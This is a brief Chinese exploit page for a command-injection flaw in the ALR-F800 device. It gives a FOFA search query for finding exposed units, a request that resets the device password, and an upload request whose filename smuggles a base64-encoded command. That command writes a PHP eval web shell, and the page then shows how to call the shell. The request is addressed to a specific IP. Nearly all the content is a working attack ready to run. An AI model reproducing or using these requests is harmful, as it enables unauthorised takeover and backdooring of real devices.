ALR-F800存在命令注入漏洞
一、漏洞简介
ALR-F800存在命令注入漏洞
二、影响版本
- ALR-F800
三、资产测绘
- fofa
"ALR-F800"
四、漏洞复现
POST /cmd.php HTTP/1.1
Host:
Accept-Ldwk: bG91ZG9uZ3dlbmt1
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
cmd=password=niubi123
先重置密码，重置完成之后，发送下面请求包
POST /cgi-bin/upgrade.cgi HTTP/1.1
Host: 98.152.108.61
Authorization: Basic YWxpZW46cGFzc3dvcmQx
Content-Length: 301
Accept-Ldwk: bG91ZG9uZ3dlbmt1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQ3keNKAe5AQ9G7bs
------WebKitFormBoundaryQ3keNKAe5AQ9G7bs
Content-Disposition: form-data; name="uploadedFile"; filename=";echo ZWNobyAiPD9waHAgZXZhbChcJF9SRVFVRVNUWydjbWQnXSk7Pz4iID4gL3Zhci93d3cvc2hlbGwucGhw| base64 -d | sh"
Content-Type: application/octet-stream
niubi
------WebKitFormBoundaryQ3keNKAe5AQ9G7bs
/shell.php?cmd=phpinfo();